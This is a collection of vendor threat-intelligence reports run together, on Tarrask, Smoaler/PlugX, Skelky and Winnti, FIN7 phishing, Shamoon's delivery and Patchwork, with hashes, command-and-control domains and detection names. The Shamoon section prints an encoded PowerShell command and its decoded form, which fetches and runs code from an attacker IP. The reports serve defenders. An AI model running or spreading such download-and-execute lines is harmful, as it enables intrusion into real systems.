SHA256 File Name Details 54660bd327c9b9d60a5b45cc59477c75b4a8e2266d988da8ed9956bcc95e6795 winupdate.exe, date.exe, win.exe Tarrask a3baacffb7c74dc43bd4624a6abcd1c311e70a46b40dcc695b180556a9aa3bb2 windowsvc.exe, winsrv.exe, WinSvc.exe, ScriptRun.exe, Unique.exe, ngcsvc.exe, ligolo_windows_amd64.exe, proxy.zip, wshqos.exe, cert.exe, ldaputility.exe Ligolo 7e0f350864fb919917914b380da8d9b218139f61ab5e9b28b41ab94c2477b16d CertCert.jsp, Cert0365.jsp Godzilla web shell Microsoft 365 Defender Detections How customers can identify this in Microsoft 365 Defender: Microsoft Defender Antivirus Microsoft Defender for Endpoint on detects implants and components as the following: HackTool:Win64/TarraskMSR 1 https://docs.microsoft.com/windows-server/identity/ad-ds/plan/security-best-practices/audit-policy-recommendations https://docs.microsoft.com/security/compass/privileged-access-access-model?msclkidcd775d3ba56111eca958db4059cdf03d 7/7 HackTool:Win64/LigoloMSR Microsoft Defender for Endpoint detects malicious behavior observed as the following: Behavior:Win32/ScheduledTaskHide.
A Microsoft Sentinel Detections Microsoft Sentinel customers can use the following detection queries to look for this activity: Tarrask malware hash IOC: This query identifies a hash match related to Tarrask malware across various data sources.
Scheduled Task Hide: This query uses Windows Security Events to detect attempts by malware to hide the scheduled task by deleting the SD (Security Descriptor) value.
Removal of SD value results in the scheduled task disappearing from schtasks /query and Task Scheduler.
Microsoft Defender AV Hits: This query looks for Microsoft Defender AV detections related to Tarrask malware using SecurityAlerts table.
In Microsoft Sentinel the SecurityAlerts table includes only the Device Name of the affected device, this query joins the DeviceInfo table to clearly connect other information such as Device group, IP, logged on users etc.
This way, the Microsoft Sentinel user can have all the pertinent device info in one view for the alerts.
The technical information contained in this article is provided for general informational and educational purposes only and is not a substitute for professional advice.
Accordingly, before taking any action based upon such information, we encourage you to consult with the appropriate professionals.
We do not provide any kind of guarantee of a certain outcome or result based on the information provided.
Therefore, the use or reliance of any information contained in this article is solely at your own risk.
1 https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/TarraskHashIoC.yaml https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/ScheduleTaskHide.yaml https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/AVTarrask.yaml
The PlugX malware revisited: introducing Smoaler By Gabor Szappanos, Principal Researcher, SophosLabs July 2013 In a recent SophosLabs article about the PlugX malware family [A], we concluded with these words: There is no doubt that PlugX development will go on, and new features and tricks will be introduced.
Well keep an eye on them, and if any interesting or important new features appear, well be sure to let you know.
Fast forward just under two months, and were ready to tell you the next stage in this ongoing saga.
The malware family well be looking at in this report is known as Smoaler, and it shares many features with PlugX, notably that: Smoaler relies on the same vulnerability, CVE-2012-0158.
[
B] Smoaler uses the same exploit shellcode.
Smoaler uses similar visual distractions, or decoys, with a Tibetan theme.
Smoaler uses the same initial malware modules to initiate infection.
Thereafter, the new malware follows a different path to the PlugX samples we looked at last time.
We shall analyse the what happens next component of Smoaler later on.
To clarify the terminology we have used above, remember that: A vulnerability is a software bug that could potentially be abused to make your computer behave insecurely.
An exploit is a real-world trick by which a vulnerability can be activated to bypass security.
2013 Sophos Ltd. All rights reserved.
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1 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-015820 http://nakedsecurity.sophos.com/2013/05/20/inside-the-plugx-malware-with-sophoslabs-a-fascinating-journey-into-a-malware-factory/ http://www.sophos.com/legal PlugX revisited: introducing Smoaler                                                                           Gabor Szappanos, SophosLabs Shellcode is runnable program code delivered inside a file that is supposed to be plain data, and therefore implicitly safe, but that can be executed without the users knowledge or consent by exploiting a vulnerability.
Initial malware modules, also called droppers, are malware components, often delivered or activated by shellcode, used to deliver the full malware, or payload, that the attacker wants to install.
How Smoaler arrives The Smoaler samples seen by SophosLabs were all packaged into files with the extensions .DOC or .DOCX.
These extensions usually denote files specific to Microsoft Word that were created by Microsoft Word.
Despite the extensions, however, all the files were actually in Rich Text Format (RTF), a text-based file format for representing documents.
We assume that the attackers chose RTF because its text structure makes it easier to manipulate to create a working exploit for the CVE-2012-0158 vulnerability.
As with PlugX, the Smoaler files arrived with Tibetan-themed subject lines: Filenames Selected quotes from the book.docx Press Release - Heart is Noble book launch.doc TIBATIAN PROBLEM.doc [sic] Backgrounder on His Holiness the Karmapa.docx Why Tibet Matters Now Oct 1 final version.doc File sizes 404,220 bytes 294,096 bytes 1,086,312 bytes 397,564 bytes 7,858,097 bytes 2013 Sophos Ltd. All rights reserved.
Visit www.sophos.com/legal for more information.
2 Fig 1: RTF content of one of the Smoaler samples received by SophosLabs http://www.sophos.com/legal PlugX revisited: introducing Smoaler                                                                          Gabor Szappanos, SophosLabs SHA1 checksums 56e8c76cd88996da9b88901520f72ebb743e55ff a99b73b56fe94375ec46e51903f815d86afbd78d b2f854e9987bce5d110349a354588568ab49726b c093d4cd2390617da58bd412c9219e013de503a3 b84a133cf02eaa7b8a8096e997bda28fc482cf78 Sophos detection Exp/20120158-A If you open an infected document on an unpatched, unprotected computer, the shellcode in the document will activate and run.
After infecting your computer, the shellcode loads a new copy of Word to display a decoy document that is hidden inside the malicious file.
You will notice only notice a brief flicker when the old instance of Word closes and the new one with the decoy opens.
The decoy documents are all unexceptional, uninfected documents with content that matches the filenames given to the malicious RTFs.
(
See Fig 2.)
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3 Fig 2: Sample Smoaler decoy documents http://www.sophos.com/legal PlugX revisited: introducing Smoaler                                                                          Gabor Szappanos, SophosLabs In preparing the decoy for display, the malware overwrites the infected RTF file with the contents of the decoy (which is in DOC format), thus removing one useful piece of evidence that might otherwise help pinpoint the source of infection.
The shellcode The executable code that kicks off infection is the same as was used in PlugX, being byte-for byte identical (see Fig 3) to the shellcode from  PlugX   6.0   [A].
This shellcode is unusual for its use of LZNT1 compression for the embedded executable payload.
This technique has not been observed in any other APT (Advanced Persistent Threat) attacks.
The shellcode decompresses an embedded PE file, writes it into the TEMP folder with the name DW20.DLL (this mimics the filename used by the Dr. Watson utility on Windows that pops up when a program crashes), and runs it.
First-stage dropper Filename  DW20.DLL Sophos detections Troj/Plugx-I Troj/Plugx-K The first-stage payload created by the shellcode contains another program file embedded as data.
It locates this in its own executable file, drops it to disk (which is where the name dropper comes from for this sort of malware component), and runs it.
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4 Fig 444: The PlugX 6.0 and Smoaler shellcodes are identical Fig 3: The PlugX 6.0 and Smoaler shellcodes are identical http://www.sophos.com/legal http://nakedsecurity.sophos.com/2013/05/20/inside-the-plugx-malware-with-sophoslabs-a-fascinating-journey-into-a-malware-factory/ http://nakedsecurity.sophos.com/2013/05/20/inside-the-plugx-malware-with-sophoslabs-a-fascinating-journey-into-a-malware-factory/ PlugX revisited: introducing Smoaler                                                                          Gabor Szappanos, SophosLabs There are two main sorts of dropper, detected by Sophos as Troj/Plugx-I and Troj/Plugx-K. (See Fig 4.)
The names reflect the similarity, thus far, to earlier PlugX malware.
But what happens next is quite different from a PlugX attack, which is why this malware has been given the general name Smoaler, rather than PlugX.
The intermediate infector Filename  Random temporary name (deleted after use) Sophos detection  Mal/Smoaler-A The temporary file dropped by DW20.DLL contains a compressed DLL (dynamic link library: a special sort of program file) stored in its resources.
This compressed program is unpacked using code built on the stack.
This component decodes the Command-and-Control (CC) server names that the final malware will use, and saves them to the registry entry HKCU\Software\ Microsoft\Windows Media\XC.
(
See Fig 5.)
CC servers are the computers to which infected computers, often called bots or zombies, connect in order to fetch instructions on what to do next.
Putting the CC server names in the registry, rather than in the zombie executable itself, means that if the user becomes suspicious and submits the malware file to a security vendor, the locations of the CC servers will not be revealed.
The data in the registry entry is obscured by flipping the least significant bit of the non-zero bytes (i.e.
XORing them with 0x01).
This provides a light disguise against an inquisitive user.
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5 Fig 4: Side-by-side pseudocode for Smoaler first-stage dropper variants http://www.sophos.com/legal PlugX revisited: introducing Smoaler                                                                          Gabor Szappanos, SophosLabs After storing the CC names in the registry, the intermediate infector loads the dropped DLL using the LoadLibrary() Windows API call.
The intermediate infector is deleted from the system after execution.
Main malware component Filename  Randomly-generated name Sophos detection  Troj/Smoaler-A The DLL dropped by the intermediate infector is the principal component of Smoaler.
The DLLs created during infection are variable in size, and huge, ranging from 20 MBytes to 50 MBytes.
This is not because they are complex and packed with functionality: the useful content of Smoaler is less than 40 KBytes.
The bulk of each DLL consists of a number (two to six) binary resources of 5 MBytes to 10 MBytes each.
These resources are filled with zero bytes, entirely for the purpose of bulking up the file.
We assume that the purpose of deliberately bloating the main DLL is to disguise its original source, since even a suspicious user might not connect a multi-megabyte DLL with the original infectious RTF of a few hundred kilobytes.
(
The original RTF is also replaced with the decoy DOC file after infection, further diverting attention from the origin of the malware.)
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6 Fig 5: Smoaler registry entry used to store CC server names http://www.sophos.com/legal PlugX revisited: introducing Smoaler                                                                          Gabor Szappanos, SophosLabs When the DLL first runs, it installs itself permanently into two places on the victims computer: C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\Burn\COMPUTERNAME.dll (COMPUTERNAME is generated by querying the name of the computer.)
C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\LiveUpdata_Mem\RANDOM.dll (The RANDOM part of the name is variable, e.g.
B6go3s_One.dll or 7n5HjV.dll.)
Two or three copies of the DLL are dropped.
They typically differ in size, because the zero-byte resource padding may vary in each file.
The DLL is added as a registry value called COMPUTERNAME in the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run.
This provides what is known as persistence, meaning that the malware is automatically re-loaded every time the victim reboots or logs on.
(
See Fig 6.)
Note that Smoaler is launched using the Windows utility rundll32.exe, because DLLs cannot execute on their own.
They require a host program inside which to run.
When connecting to its CC servers, Smoaler injects itself into the process IEXPLORE.EXE.
This is a common trick used by malware to make its traffic appear to originate from a browser, thus arousing much less suspicion.
While running, however, Smoaler keeps a lookout for processes called vsserv.exe, fsdfwd.exe, AvastSvc.exe, uiWatchDog.exe, and avp.exe.
It avoids injecting itself into Internet Explorer if any of them are active.
2013 Sophos Ltd. All rights reserved.
Visit www.sophos.com/legal for more information.
7 Fig 6: Smoaler registry persistence on a computer named XP3 http://www.sophos.com/legal PlugX revisited: introducing Smoaler                                                                          Gabor Szappanos, SophosLabs These processes belong to various security products, so this is a malware precaution often jocularly called anti-anti-virus, intended to avoid suspicious activity that might attract the attention of security software.
After installing itself, Smoaler attempts to connect to its CC servers.
The domain names it uses are already known from earlier Tibet-related malware attacks: dtl.dnsd.me, dtl.eauto.com and dtl6.moo.com.
What happens next?
Unfortunately, we cant say precisely how an infected computer will behave if Smoaler gets this far.
That is because the content that the primary Smoaler DLL fetches from its CC servers is whatever malware the attackers choose to serve up next.
Worse still, the programs downloaded by Smoaler are not in regular EXE or DLL format.
Firstly, the downloads are encrypted secondly, their headers are stripped off so that, even decrypted, they are not immediately obvious as programs thirdly, they are loaded directly into, and run directly from, memory, rather then being written to disk and launched via the Windows API.
That means that if you kill off the Smoaler process and delete its primary executable, as you will almost certainly want to do if you find out that you are infected, you may no longer have a complete copy of the malware to submit for analysis.
In this way, the Smoaler authors avoid showing all the cards in their hand at once, in the hope of staying one step ahead.
However, this multi-stage approach also has a significant disadvantage for cybercriminals: there are now multiple points in the attack at which you can spot an anomaly, intervene, and win.
Prevention is better than cure Malware like Smoaler is a strong reminder of why proactivity and prevention are better than cure: once you are infected, it can be hard to go back and unravel what happened, because of the tricks that the malware uses along the way.
2013 Sophos Ltd. All rights reserved.
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8 http://www.sophos.com/legal PlugX revisited: introducing Smoaler                                                                          Gabor Szappanos, SophosLabs References [A] http://nakedsecurity.sophos.com/inside-the-plugx-malware [B] http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 For further security information http://www.sophos.com/why-sophos/our-people/technical-papers.aspx http://nakedsecurity.sophos.com/ http://podcasts.sophos.com/ 2013 Sophos Ltd. All rights reserved.
Visit www.sophos.com/legal for more information.
9 http://www.sophos.com/legal
Backdoor.
Winnti attackers have a skeleton in their closet?
New evidence suggests that the skeleton key malware, known as Trojan.
Skelky, could be linked to the Backdoor.
Winnti malware family.
By: Gavin O GormanSymantec Employee Created 29 Jan 2015 Contributor: Nikolas Tsapkis On January 12, 2015, Dell Secureworks blogged about a tool (Trojan.
Skelky) that allows attackers to use a password of their choosing to authenticate as any user.
The Skelky (from skeleton key) tool is deployed when an attacker gains access to a victims network the attackers may also utilize other tools and elements in their attack.
Symantec has analyzed Trojan.
Skelky and found that it may be linked to the Backdoor.
Winnti malware family.
The attackers behind the Trojan.
Skelky campaign appear to have been using the malware in conjunction with this back door threat.
Its unclear if the malware family Backdoor.
Winnti is used by one attack group or many groups.
During our research, we also found that Trojan.
Skelky has been active over the past two years.
Within this timeframe, we have seen new variants and a consistent hashed password value.
Where is Trojan.
Skelky being used?
1 of 3 Symantec telemetry identified the skeleton key malware on compromised computers in five organizations with offices in the United States and Vietnam.
The exact nature and names of the affected organizations is unknown to Symantec.
The first activity was seen in January 2013 and until November 2013, there was no further activity involving the skeleton key malware.
In November 2013, the attackers increased their usage of the tool and have been active ever since.
Four more variants of Trojan.
Skelky were discovered as well as additional file names used by the attackers.
The complete set of observed file names and hashes are listed as follows msuta64.dll: 66da7ed621149975f6e643b4f9886cfd ole64.dll: bf45086e6334f647fda33576e2a05826 HookDC64.dll: bf45086e6334f647fda33576e2a05826 HookDC.dll: a487f1668390df0f4951b7292bae6ecf HookDC.dll: 8ba4df29b0593be172ff5678d8a05bb3 HookDC.dll: f01026e1107b722435126c53b2af47a9 ole64.dll: f01026e1107b722435126c53b2af47a9 olex64.dll: f01026e1107b722435126c53b2af47a9 HookDC64.dll: f01026e1107b722435126c53b2af47a9 ole.dll: f01026e1107b722435126c53b2af47a9 HookDC.dll: 747cc5ce7f2d062ebec6219384b57e8c ole.dll: 747cc5ce7f2d062ebec6219384b57e8c The link between Trojan.
Skelky and Backdoor.
Winnti From the first observed use of the tool in January 2013 to the present, the attackers have consistently used the same password.
This is the case with three different variants of the tool.
The regular use of the same password across multiple variants means its likely that only one group of attackers has been using the tool until at least January 2015.
By identifying any other malware active on compromised computers at the same time as Trojan.
Skelky, it is possible to learn more about the attackers.
There were almost no signs of other malware active at the same time as Skelky in most of the organizations investigated.
However, two compromised computers had other malware present, active, and in the same directory, at the same time as Trojan.
Skelky.
Two files were discovered on one of the victims computers.
One file is a variant of Backdoor.
Winnti (jqs.exe) and the other is a dropper for Backdoor.
Winnti (tmp8296.tmp), which is responsible for creating the Backdoor.
Winnti sample.
Details on the file names and hashes are as follows: jqs.exe (Backdoor.
Winnti dropper): 600b604784594e3339776c6563aa45a1 tmp8296.tmp (Backdoor.
Winnti variant): 48377c1c4cfedebe35733e9c3675f9be Backdoor.
Winnti has been used in the past in a number of different campaigns, most notably against Asian games companies.
Given the disparate nature of some victims, its unclear if the malware is used by one set of attackers, or many.
Symantec is continuing its investigation into this malware familyBackdoor.
Winnti and the specific actors behind the combined use of Backdoor.
Winnti and Trojan.
Skelky.
2 of 3 Symantec and Norton protection Symantec and Norton products have the following protections against the skeleton key malware: AV Trojan.
Skelky Customers with Behaviour-Based Protection enabled are protected with the signature SONAR.Modulegen3.
3 of 3
FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings fireeye.com /blog/threat-research/2017/03/fin7_spear_phishing.html In late February 2017, FireEye as a Service (FaaS) identified a spear phishing campaign that appeared to be targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations.
Based on multiple identified overlaps in infrastructure and the use of similar tools, tactics, and procedures (TTPs), we have high confidence that this campaign is associated with the financially motivated threat group tracked by FireEye as FIN7.
FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware.
We have observed FIN7 attempt to compromise diverse organizations for malicious operations  usually involving the deployment of point-of-sale malware  primarily against the retail and hospitality industries.
Spear Phishing Campaign All of the observed intended recipients of the spear phishing campaign appeared to be involved with SEC filings for their respective organizations.
Many of the recipients were even listed in their companys SEC filings.
The sender email address was spoofed as EDGAR filingssec.gov and the attachment was named Important_Changes_to_Form10_K.doc (MD5: d04b6410dddee19adec75f597c52e386).
An example email is shown in Figure 1.
Figure 1: Example of a phishing email sent during this campaign We have observed the following TTPs with this campaign: The malicious documents drop a VBS script that installs a PowerShell backdoor, which uses DNS TXT records for its command and control.
This backdoor appears to be a new malware family that FireEye iSIGHT 1/3 https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html Intelligence has dubbed POWERSOURCE.
POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage.
The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.
Using DNS TXT records to communicate is not an entirely new finding, but it should be noted that this has been a rising trend since 2013 likely because it makes detection and hunting for command and control traffic difficult.
We also observed POWERSOURCE being used to download a second-stage PowerShell backdoor called TEXTMATE in an effort to further infect the victim machine.
The TEXTMATE backdoor provides a reverse shell to attackers and uses DNS TXT queries to tunnel interactive commands and other data.
TEXTMATE is memory resident  often described as fileless malware.
This is not a novel technique by any means, but its worth noting since it presents detection challenges and further speaks to the threat actors ability to remain stealthy and nimble in operations.
In some cases, we identified a Cobalt Strike Beacon payload being delivered via POWERSOURCE.
This particular Cobalt Strike stager payload was previously used in operations linked to FIN7.
We observed that the same domain hosting the Cobalt Strike Beacon payload was also hosting a CARBANAK backdoor sample compiled in February 2017.
CARBANAK malware has been used heavily by FIN7 in previous operations.
Victims Thus far, we have directly identified 11 targeted organizations in the following sectors: Financial services, with different victims having insurance, investment, card services, and loan focuses Transportation Retail Education IT services Electronics All these organizations are based in the United States, and many have international presences.
As the SEC is a U.S. regulatory organization, we would expect recipients of these spear phishing attempts to either work for U.S.- based organizations or be U.S.-based representatives of organizations located elsewhere.
However, it is possible that the attackers could perform similar activity mimicking other regulatory organizations in other countries.
Implications We have not yet identified FIN7s ultimate goal in this campaign, as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft.
However, we surmise FIN7 can profit from compromised organizations in several ways.
If the attackers are attempting to compromise persons involved in SEC filings due to their information access, they may ultimately be pursuing securities fraud or other investment abuse.
Alternatively, if they are tailoring their social engineering to these individuals, but have other goals once they have established a foothold, they may intend to pursue one of many other fraud types.
Previous FIN7 operations deployed multiple point-of-sale malware families for the purpose of collecting and exfiltrating sensitive financial data.
The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent 2/3 banking transactions, ATM compromise, and other monetization schemes.
Community Protection Event FireEye implemented a Community Protection Event  FaaS, Mandiant, Intelligence, and Products  to secure all clients affected by this campaign.
In this instance, an incident detected by FaaS led to the deployment of additional detections by the FireEye Labs team after FireEye Labs Advanced Reverse Engineering quickly analyzed the malware.
Detections were then quickly deployed to the suite of FireEye products.
The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the POWERSOURCE and TEXTMATE malware.
Click here for more information.
3/3 https://www.fireeye.com/products/isight-intelligence.html FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings Spear Phishing Campaign Victims Implications Community Protection Event
2/15/2017 The Full Shamoon: How the Devastating Malware Was Inserted Into Networks securityintelligence.com/the-full-shamoon-how-the-devastating-malware-was-inserted-into-networks/ Authored by the IBM X-Force Incident Response and Intelligence Services (IRIS) team.
Researchers from the IBM X-Force Incident Response and Intelligence Services (IRIS) team identified a missing link in the operations of a threat actor involved in recent Shamoon malware attacks against Gulf state organizations.
These attacks, which occurred in November 2016 and January 2017, reportedly affected thousands of computers across multiple government and civil organizations in Saudi Arabia and elsewhere in Gulf states.
Shamoon is designed to destroy computer hard drives by wiping the master boot record (MBR) and data irretrievably, unlike ransomware, which holds the data hostage for a fee.
Through their recent investigations, our forensics analysts pinpointed the initial compromise vector and post-compromise operations that led to the deployment of the destructive Shamoon malware on targeted infrastructures.
Its worth mentioning that, according to X-Force IRIS, the initial compromise took place weeks before the actual Shamoon deployment and activation were launched.
Shamoon Attacks Preceded by Malicious Macros and PowerShell Commands Since Shamoon incidents feature the infiltration and escalation stages of targeted attacks, X-Force IRIS responders sought out the attackers entry point.
Their findings pointed to what appears to be the initial point of compromise the attackers used: a document containing a malicious macro that, when approved to execute, enabled C2 communications to the attackers server and remote shell via PowerShell.
The document was not the only one discovered in the recent attack waves.
X-Force IRIS researchers had been tracking earlier activity associated with similar malicious, PowerShell-laden documents themed as resumes and human resources documents, some of which related to organizations in Saudi Arabia.
This research identified several bouts of offensive activity that occurred in the past few months, which revealed similar operational methods in which the attackers served malicious documents and other malware executables from web servers to their targets to establish an initial foothold in the network.
Learn more about IBM X-Force IRIS Initial Compromise Vector Previously Unclear Although Shamoon was previously documented in research blogs, the specific network compromise methods leading to the attacks have remained unclear in the reported cases.
X-Force IRIS researchers studied Shamoons attack life cycle and observed its tactics at Saudi-based organizations and private sector companies.
This research led them to believe that the actor using Shamoon in recent attacks relied heavily on weaponized documents built to leverage PowerShell to establish their initial network foothold and subsequent operations: 1.
Attackers send a spear phishing email to employees at the target organization.
The email contains a Microsoft Office document as an attachment.
2.
Opening the attachment from the email invokes PowerShell and enables command line access to the compromised machine.
3.
Attackers can now communicate with the compromised machine and remotely execute commands on it.
4.
The attackers use their access to deploy additional tools and malware to other endpoints or escalate privileges in the network.
5.
Attackers study the network by connecting to additional systems and locating critical servers.
6.
The attackers deploy the Shamoon malware.
7.
A coordinated Shamoon outbreak begins and computer hard drives across the organization are permanently wiped.
1/4 https://securityintelligence.com/the-full-shamoon-how-the-devastating-malware-was-inserted-into-networks/ http://www.istockphoto.com/il/photo/oil-and-gas-refinery-plant-under-a-large-full-moon-gm533442192-94483977 http://www.reuters.com/article/us-saudi-cyber-idUSKBN1571ZR https://www.infosecurity-magazine.com/news/saudi-arabia-issues-shamoon-2-alert/ http://www.reuters.com/article/us-cyber-saudi-shamoon-idUSKBN13Q38B http://www.ibm.com/security/services/xforce-incident-response-and-intelligence.html?ceISM0484ctSWGcmpIBMSocialcmhcrSecurityccyUS http://www.ibm.com/software/products/en/category/infrastructure-protection?ceISM0484ctSWGcmpIBMSocialcmhcrSecurityccyUS Figure 1: Shamoon Attack  Logical Flow of Events A Phish Is Speared X-Force IRIS identified the below malicious document: Detail Info File name cv_itworx.doc MD5 45b0e5a457222455384713905f886bd4 SHA256 528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62 Hosting URL hxxp://mol.com-ho[.
]me/cv_itworx.doc Embedded PowerShell PowerShell.exe -window hidden -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQB3ACAAaABpAGQAZABlAG4AIAAtAG4AbwBuAGkAIAAtAG4AbwBwACAALQBjACAAIgBpAGUAeAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADMAOQAuADUAOQAuADQANgAuADEANQA0ADoAMwA0ADgANQAvAGUAaQBsAG8AUwBoAGEAZQBnAGEAZQAxACcAKQAiAA Decode PowerShell.exe -w hidden -noni -nop -c iex(New-Object System.
Net.
WebClient).DownloadString(hxxp://139.59.46.154:3485/eiloShaegae1) Our researchers examined the domain that hosted the first malicious file, mol.com-ho[.
]me.
Per the domains WHOIS record, an anonymized registrant registered com-ho[.
]me in October 2016 and used it to serve malicious documents with similar macro activation features.
The following list of documents included: File Name File MD5 cv.doc f4d18316e367a80e1005f38445421b1f cv_itworx.doc 45b0e5a457222455384713905f886bd4 cv_mci.doc f4d18316e367a80e1005f38445421b1f discount_voucher_codes.xlsm 19cea065aa033f5bcfa94a583ae59c08 Health_insurance_plan.doc ecfc0275c7a73a9c7775130ebca45b74 Health_insurance_registration.doc 1b5e33e5a244d2d67d7a09c4ccf16e56 job_titles.doc fa72c068361c05da65bf2117db76aaa8 job_titles_itworx.doc 43fad2d62bc23ffdc6d301571135222c job_titles_mci.doc ce25f1597836c28cf415394fb350ae93 Password_Policy.xlsm 03ea9457bf71d51d8109e737158be888 These files were most likely delivered via spear phishing emails to lure employees into unwittingly launching the malicious payload.
A closer review of the file names revealed IT Worx and MCI.
A search of the name IT Worx brings up a global software professional services organization headquartered in Egypt.
MCI is Saudi Arabias Ministry of Commerce and Investment.
It is possible these names were used in spear phishing emails because they would seem benign to Saudi-based employees and lure them to open the attachment.
X-Force IRIS researchers further identified that the threat actor behind the malicious documents served many of them using a URL-shortening scheme in the following pattern: briefl[.
]ink/a-z0-9[5].
File Detail Info File name job_titles_itworx.doc 2/4 https://securityintelligence.com/ibm-x-force-iris-bringing-a-new-approach-to-incident-response/ https://securityintelligence.com/vba-macro-malware-jumping-on-the-ransomware-bandwagon/ MD5 43fad2d62bc23ffdc6d301571135222c SHA256 e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 Hosting URL hxxp://briefl.ink/qhtma File Detail Info The following figure is a visual example of what employees may have encountered when they opened the malicious Word files sent to them in preparation for a Shamoon attack: Figure 2: Malicious Word Document Delivered in Preparation of a Shamoon Malware Attack (Source: X-Force IRIS) Passive DNS results on a communications domain associated with the Shamoon attack revealed related network infrastructure, identifying additional domains used by the threat actors.
Domain Name Spoofed Site ntg-sa[.
]com The domain ntg-sa[.
]com appears to spoof the legit domain ntg.sa.com associated with the Namer Trading Group.
Per their webpage, NTG was established primarily to cater the growing demands of Petrochemicals waste management within the Kingdom of Saudi Arabia.
maps- modon[.
]club The maps-modon[.
]club domain appears to spoof maps.modon.gov.sa, which is associated with the Saudi Industrial Property Authority, an organization responsible for the development of industrial cities with integrated infrastructure and services.
X-Force IRIS discovered that the threat actor was hosting at least one malicious executable on a server hosted on ntg-sa[.
]com.
This file duped targets into believing it was a Flash player installer that would drop a Windows batch to invoke PowerShell into the same C2 communications.
Breakdown of the PowerShell-Related Macro Analysis of one of the threat actors documents found that if the macro executes, it launches two separate PowerShell Scripts.
The first one executes a PowerShell script served from hxxp://139.59.46.154:3485/eiloShaegae1.
The host is possibly related to attacks that served the Pupy RAT, a publicly available cross-platform remote access tool.
The second script calls VirtualAlloc to create a buffer, uses memset to load Metasploit-related shellcode into that buffer and executes it through CreateThread.
Metasploit is an open source framework popular as a tool for developing and executing exploit code against a remote target machine.
The shellcode performs a DWORD XOR of 4 bytes at an offset from the beginning of the shellcode that changes the code to create a loop so the XOR continues 0x57 times.
If this execution is successful, it creates a buffer using VirtualAlloc and calls InternetReadFile in a loop until all the file contents are retrieved from hxxp://45.76.128.165:4443/0w0O6.
This is then returned as a string to PowerShell, which calls invoke-expression (iex) on it, indicating that the expected payload is PowerShell.
Of note, the macro contained a DownloadFile() function that would use URLDownloadToFileA, but this was never actually used.
Based on observations associated with the malicious document, we observed subsequent shell sessions probably associated with Metasploits Meterpreter that enabled deployment of additional tools and malware preceding deployment of three Shamoon-related files: ntertmgr32.exe, ntertmgr64.exe and vdsk911.sys.
3/4 https://github.com/n1nj4sec/pupy https://www.offensive-security.com/metasploit-unleashed /meterpreter-basics/ Shamoons Back, But for How Long This Time?
Although the complete list of Shamoons victims is not public, Bloomberg reported that in one case, thousands of computers were destroyed at the headquarters of Saudis General Authority of Civil Aviation, erasing critical data and bringing operations to a halt for several days.
The recent activity X-Force IRIS is seeing from the Shamoon attackers has so far been detected in two waves, but those are likely to subside following the public attention the cases have garnered since late 2016.
Saudi Arabia released a warning to local organizations about the Shamoon malware, alerting about potential attacks and advising organizations to prepare.
Analysis and warnings about Shamoon are resulting in preparation on the targets end, and actors are likely to disappear and change their tactics until the next wave of attacks.
For technical details on this research and related indicators of compromise, see the X-Force Advisory  on X-Force Exchange.
4/4 https://www.bloomberg.com/news/articles/2016-12-01/destructive-hacks-strike-saudi-arabia-posing-challenge-to-trump http://www.reuters.com/article/us-saudi-cyber-idUSKBN1571ZR https://static.securityintelligence.com/uploads/2016/04/XF-Logo-tiny.jpg https://exchange.xforce.ibmcloud.com/collection/Spear-Phishing-Attacks-Preceding-Shamoon-Malware-Breakouts-eeed4eede51b9a4587f4c7c816ad6e4e The Full Shamoon: How the Devastating Malware Was Inserted Into Networks Shamoon Attacks Preceded by Malicious Macros and PowerShell Commands Initial Compromise Vector Previously Unclear A Phish Is Speared Breakdown of the PowerShell-Related Macro Shamoons Back, But for How Long This Time?
July 24, 2016 Patchwork cyberespionage group expands targets from governments to wide range of industries symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries Symantec Official Blog Symantec finds that Patchwork now targets a variety of industries in the US, China, Japan, South East Asia, and the UK.
By: Joji HamadaSymantec Employee Created 25 Jul 2016 : , , , The Patchwork attack group has been targeting more than just government-associated organizations.
Our research into the group found that its been attacking a broad range of industriesincluding aviation, broadcasting, and financeto drop back door Trojans.
Symantec Security Response has been actively monitoring Patchwork, also known as Dropping Elephant, which uses Chinese-themed content as bait to compromise its targets networks.
Two security companies, Cymmetria and Kaspersky, each recently released reports on the campaign, most of which are in line with our observations.
Patchwork group widens scope to include broad range of industries in multiple regions Targets As other researchers observed, Patchwork originally targeted governments and government-related organizations.
However, the group has since expanded its focus to include a broader range of industries.
While most of the interest still lies in the public sector, more recent attacks were found targeting the following industries: Aviation Broadcasting Energy Financial Non-governmental organizations (NGO) Pharmaceutical Public sector Publishing Software According to Symantec telemetry, targeted organizations are located in dispersed regions.
Although approximately half of the attacks focus on the US, other targeted regions include China, Japan, Southeast Asia, and the United Kingdom.
